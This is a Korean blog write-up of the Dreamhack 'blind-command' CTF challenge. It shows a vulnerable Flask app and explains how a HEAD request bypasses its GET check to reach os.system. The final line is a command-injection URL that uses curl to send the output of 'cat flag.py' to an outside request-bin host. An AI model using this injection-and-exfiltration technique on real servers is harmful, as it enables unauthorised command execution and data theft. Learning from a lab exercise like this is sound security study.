본문 바로가기

Web Hacking/Dreamhack

[Dreamhack] blind-command write up - 티스토리

 

 

#!/usr/bin/env python3
from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/' , methods=['GET'])
def index():
    cmd = request.args.get('cmd', '')
    if not cmd:
        return "?cmd=[cmd]"

    if request.method == 'GET':
        ''
    else:
        os.system(cmd)
    return cmd

app.run(host='0.0.0.0', port=8000)

 

GET 메소드가 아닐 경우 cmd로 넘어온 값을 system함수가 실행시킨다. cat flag를 하면 flag를 읽을 수 있을 거 같다.

 

 

POST 요청 결과 허용되지 않은 메소드라는 405 에러를 반환 받았다.

 

 

서버가 설정해둔 메소드를 확인하기 위해 OPTIONS 메소드로 요청을 보냈지만 아무 응답이 오지 않았다. OPTIONS 메소드는 응답 헤더에 Allow라는 헤더가 추가 되어 오기 때문에 -I 옵션을 줘야 했다.

 

GET, OPTIONS, HEAD 메소드가 허용된 걸 볼 수가 있다.

 

HEAD 메소드의 경우 GET과 같이 요청을 전송하나 응답으로 헤더 부분만을 반환 받는다. 따라서 원하는 요청을 수행하지만 헤더만을 반환하기 때문에 요청의 결과를 확인만 못할 뿐이다.

 

HEAD 메소드를 이용해서 GET 메소드를 우회해야한다.

 

 

왜인지는 모르겠으나 터미널에서 head 메소드로 요청 시 자꾸 에러가 발생한다. 따라서 버프 스위트를 이용했다.

 

http://host3.dreamhack.games:12884/?cmd=curl%20https://vnikaqz.request.dreamhack.games

 

👆 와 같이 입력 후 버프 스위트로 패킷을 잡았다.

 

 

위 GET 부분을 HEAD로 변조했다.

 

 

dremahack request bin에 GET 요청이 왔다. 이제 POST 요청으로 flag를 읽어오자.

 

 

http://host3.dreamhack.games:12884/?cmd=curl%20https://bsgeuoe.request.dreamhack.games%20-d%20%22$(cat%20flag.py)%22